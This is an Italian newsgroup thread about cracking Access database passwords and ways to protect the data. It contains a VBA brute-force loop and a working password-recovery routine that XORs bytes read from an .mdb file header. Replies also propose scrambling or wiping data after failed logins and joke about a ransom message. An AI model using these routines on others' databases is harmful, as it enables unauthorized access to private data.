Newsgroup: it.comp.appl.access
Titolo: craccare un Db e contromisure

Ciao a tutti.
Sto cercando di trovare una soluzione ragionevole al problema della
protezione dei dati (non del db).
Il problema č questo:
se imposto un Be con password, posso creare da un altro bd una funzione che
mi provi tutte le possibili combinazioni.
Ne ho buttata giů una cosě:
' Esiste una tabella in locale chiamata Tabella1 con un campo Stringa
(text)
Supponendo di avere nel campo Stringa, le possibili combinazioni
alfanumeriche di 4,5,6,7 ...20 lettere (che credo non ci voglia nulla a
creare), si puň operare un attacco a forza bruta che scopra la password del
db.
La prima (ovvia) contromisura č che si imposti una password di almeno 10
caratteri
che, includendo numeri e lettere dovrebbe portare a combinazioni possibili.
Ho testato il mio ciclo su 5.000 record e (pur non essendo la mia macchina
una
bomba)
ha trovato l'ultimo valore in 24 secondi
Su 10.000 record in 45 secondi
Supponendo quindi che ogni secondo Access scorra 223 record , ne conviene
che puň controllare:
         1 ora =     802.800 psw
       10 ore =   8.028.000 psw
       24 ore = 19.267.200 psw
Considerando poi che si puň ottimizzare la cosa (prima le pws di lunghezza
2, 3, ecc, usando un dizionario, copiare il db e farlo craccare da piů
macchine con tabelle ridotte ecc.) e soprattutto che gli utenti non
metteranno mai password del tipo az_!pluk@11 credo che in una giornata o
poco piů MEDIAMENTE, si riesce a sgamarla.
Che fare allora???
La prima soluzione č ovviamente quella di chiedere all'utente di mettere una
psw lunga, di almeno 10 caratteri possibilmente alfanumerici (se con
caratteri speciali č meglio). Ma poi???
Una soluzione ideale sarebbe questa, ma non so se č tecnicamente possibile.
Se Il BE, ogni volta che si prova l'accesso potesse registrare un valore in
una variabile public (che si scarica ad ogni accesso effettivo) si potrebbe
dire al BE che una volta arrivato questo valore a 10 (ad esempio) cancelli
il contenuto di tutte le tabelle impedendo cosě di accedere ai dati.
Esiste qualcosa del genere, un "evento accesso fallito" a cui ci si puň
appoggiare????
Ciao a tutti.
Ecco la routine
Public Function craccapassword()
' Il db craccante conserva il testo da provare in una tabella chiamata
TABELLA1   con un campo chiamato Stringa
On Error GoTo Err_Psw
Dim dbs As DAO.Database
Dim Path As String
Dim StrConn As String
Dim Fine As String
Path = "C:\pippo.mdb"
Dim pass As String
    Dim rst As DAO.Recordset
    Set rst = CurrentDb.OpenRecordset("Tabella1")
    rst.MoveFirst
    Do Until Fine = "Trovata"
Continua:
        pass = rst.Fields("Stringa").Value
        For i = 0 To rst.Fields.Count - 1  'per tutti i campi della tabella
            StrConn = ";DATABASE=" & Path & " ;PWD=" & pass
            Set dbs = DBEngine(0).OpenDatabase("", False, False, StrConn)
            MsgBox ("LA password č: " & pass)
            Fine = "Trovata"
            GoTo Exit_Function
        Next i
    Loop
Err_Psw:
   If Err.Number = 3031 Then
    rst.MoveNext
    Resume Continua
End If
Exit_Function:
    Exit Function
End Function

 ha scritto nel messaggio
news:d0p3b.271655$lK4.8...@twister1.libero.it...

Ciao hacker!
senza il casino che hai descritto se per caso non ti ricordi la psw del tuo
db usa questa e risparmia il tempo dell'attacco brutale da te descritto
Public Function StPasswordOfStDatabase(stDatabase As String) As String
    Dim hFile As Integer
    Dim ich As Integer
    Dim stBuffer As String
    Dim rgbytRaw() As Byte
    Dim rgbytPassword() As Byte
    Dim rgbytNoPassword() As Byte
    ' Create the byte array with the 20 bytes that are present when there
    ' is no database password
rgbytNoPassword = ChrB(134) & ChrB(251) & ChrB(236) & ChrB(55) & ChrB(93) &
_
                                ChrB(68) & ChrB(156) & ChrB(250) & ChrB(198)
& ChrB(94) & _
                                ChrB(40) & ChrB(230) & ChrB(19) & ChrB(182)
& ChrB(138) & _
                                ChrB(96) & ChrB(84) & ChrB(148) & ChrB(123)
& ChrB(54)
    ' Grab the 20 bytes from the real file whose password
    ' we are supposed to retrieve
    hFile = FreeFile
    Open stDatabase For Binary As #hFile
    Seek #hFile, 66 + 1
    rgbytRaw = InputB(20, #hFile)
    Close #hFile
    ' Enough prep, lets get the password now.
    ReDim rgbytPassword(0 To 19)
    For ich = 0 To 19
        rgbytPassword(ich) = rgbytRaw(ich) Xor rgbytNoPassword(ich)
    Next ich
    ' Add a trailing Null so one will always be found, even if the password
    ' characters. Then grab up to the first null we find and return the
'Password
    stBuffer = StrConv(rgbytPassword, vbUnicode) & vbNullChar
    StPasswordOfStDatabase = Left$(stBuffer, InStr(1, stBuffer, vbNullChar,
vbBinaryCompare) - 1)
End Function
Ciao, AEOM

 Ciao, AEOM
Magari potevi cuttare qualcosina no?
Antonio

 Ciao, AEOM
Grazie AEOM, ma non cercavo questo.
Mi sto interrogando sul problema della sicurezza del Db
Premesso che:
1) qualsiasi password non č inviolabile;
2) dopo aver letto i post di una discussione tra Stefano Bettini e AntoGal
del 2000 sulla     sicurezza ho scoperto che sono craccabili anche gli MDE e
la protezione utente;
Problema:
Ipotizziamo il caso di un dipendente del cliente che puň aver accesso al BE
e copiarlo.
La protezione utente dovrebbe essere inutile in quanto puň anche copiarsi
il.mdw e quindi puň accedervi.
Rimane la password del db.
Una buona protezione mi sembra quella delle Sim telefoniche:
    dopo tre PIN inserisci per max 10 volte il Puk altrimenti fonde la
scheda.
Una cosa del genere per access sarebbe:
dopo 10 tentativi di accesso sballato cancella il contenuto delle tabelle.
Secondo voi č fattibile??
PS. Ho provato la routine, ma non ho avuto la password.
Puň anche essere colpa mia perň. riprovo
Ciao
marco
mar...@TOGLIMIyahoo.it

 Puņ anche essere colpa mia perņ. riprovo
E sfrondare un po' il quoting ??? (e due)
Antonio


Cosi accontentiamo Antonio
No tu non puoi cancellare i dati ma puoi fare così:
1 Al terzo o decimo (come preferisci) tentativo di acceso errato gripti i
dati con un algoritmo di conversione a stringa (lo trovi su qualche manuale)
crei nuove chiavi e tabelle(di confusione) e togli le relazioni corrette tra
tabelle impostandone alcune errate.
Naturalmente devi avvertire il cliente con un messaggio (dal FE) che cìè
stato un tentativo di acesso non autorizzato.
Il cliente ti chiamerà e tu conla rutine ch effettua i passaggi al contrario
gli ripristini il tutto.
Altrimenti usi il sistema medico di password a tre livelli.
Stefano (kabisa)

 Secondo voi è fattibile??
Credo che il rimedio oltrechè inutile (una volta eseguita la copia
l'ipotetico cracker lavorerebbe su ulteriori copie), sia moooooolto peggiore
del male, credo che con un pò di fantasia sia possibile trovare decine di
soluzioni diverse che non la cancellazione dei dati di un database.
Ciao.

 Cosi accontentiamo Antonio
Bene cosě. Solo per precisare che cosě si accontentano tutti, non č solo una
mia fisima...
Antonio

 soluzioni diverse che non la cancellazione dei dati di un database.
Bč, potrebbe crearsi n copie, ma queste resisterebbero solo a 10 tentativi
di forza bruta allungando un pň il ciclo. Cmq ho letto appena oggi un lungo
dibattito tra Stefano Bettini e AntonGal sulla sicurezza (link google
http://groups.google.it/groups?hl=it&lr=&ie=UTF-8&th=47a7ba91e0ee7ba4&rnum=4
) in cui ho capito che basta nulla a superare la password del db, credo non
con attacchi vari ma aggirando le protezioni con qualche funzione.
Oltrettuto č possibile sproteggere anche un db protetto da .mdw
Il fatto di cancellare i dati sarebbe una soluzione estrema, ma pensa se
avessi (ipotizzo)
l'archivio dati di una banca con numeri di conto e altro.
Tu hai (dovresti avere) un backup quindi il db "rubato" lo puoi buttare
Ciao
Marco

 Marco
Se credi che non far trovare le tabelle sia la tua soluzione, spostale.
Cioé copia il file dove vuoi e del vecchio db fai ciò che vuoi e alla fine
ci metti un msgbox
"Se vuoi rivedere i tuoi dati vivi, chiamami... e non fare scherzi, sono
armato di format c: è ho le dita molto nervose!!!
p.s. Non chiamare la "Pulizia disco"..."
ciao MAssimiliano

 e del vecchio db fai ciò che vuoi e alla fine
di quale del Be o del Fe?
Ciao
Marco

 di quale del Be o del Fe?
Ovvio, del BE
MAssimiliano

 nuovamente via codice e non ti autosgami
No, a me non interessa spaventare il cliente.
L'esempio che ho fatto della SIM telefonica credo rimanga il più calzante.
Se ti rubano la Sim credo che tu preferisca che la sim si bruci piuttosto
che dare in giro i tuoi numeri di telefono.
La mia preoccupazione è, sostanzialmente  questa: c'è un modo per far sì che
i dati vengano effettivamente distrutti se ci sono TOT accessi non
autorizzati?
Ciao
Marco

 Marco
Non puoi bloccare l'accesso ad un BE perchè le protezioni dei sistemi
operativi si scavalcano, ed una volta ottenuto il file le password si
craccano. Ovvio, tutto ciò sarà più o meno difficile a seconda delle
configurazioni del SO, dei permessi d'accesso, della password scelta....
Ma di solito non serve proteggere in modo ossessivo il 100% del BE.
Faccio un esempio: mettiamo che ti freghino il Db di un sito e-commerce. Se
anche riescono a leggere i codici cliente o le date di acquisto, ce ne frega
(relativamente) poco.
Se invece si prendono nomi, cognomi, numeri di cellulare e di carte di
credito, i clienti si potrebbero giustamente incazzare!
Quindi se hai voglia di imbarcarti in qualcosa di così complicato potresti
criptare i campi "scottanti" già nella maschera con un algoritmo a chiave
asimmetrica e ovviamente decrittarli in fase di lettura. Così il BE
conterrebbe solo dati inutilizzabili senza il FE e la chiave privata. Ed è
più facile proteggere il codice vba di cript/decript inserito in un modulo o
in una maschera, tramite mde ed altri sistemi, che non i dati delle tabelle.
E la chiave privata per il decript va tenuta lontano dal Db, perchè se
riescono ad accedere al Db.....
Namor

 ha scritto nel messaggio
news:gsF3b.274025$Ny5.8...@twister2.libero.it...

Sull'help non trovi niente perchè non ha niente a che fare con Access.
Non saprei dirti da dove cominciare perchè non ci ho mai provato. Ho letto
articoli sulla crittografia su varie riviste ma non ho mai messo in pratica
nulla.
Devi cercare su internet e sui newsgroups di crittografia.
L'argomento è complesso, non so che scadenze hai ma ci vorrà un po' per
ottenere una cosa ben fatta e testarla adeguatamente. A meno che non trovi
qualche algoritmo già pronto in vba, solo da copiare in un modulo.
O ti scarichi i sorgenti in C di GPG e te li converti in vba, ma mi sa che è
una strada piuttosto difficile da percorrre.
Ciao.
Namor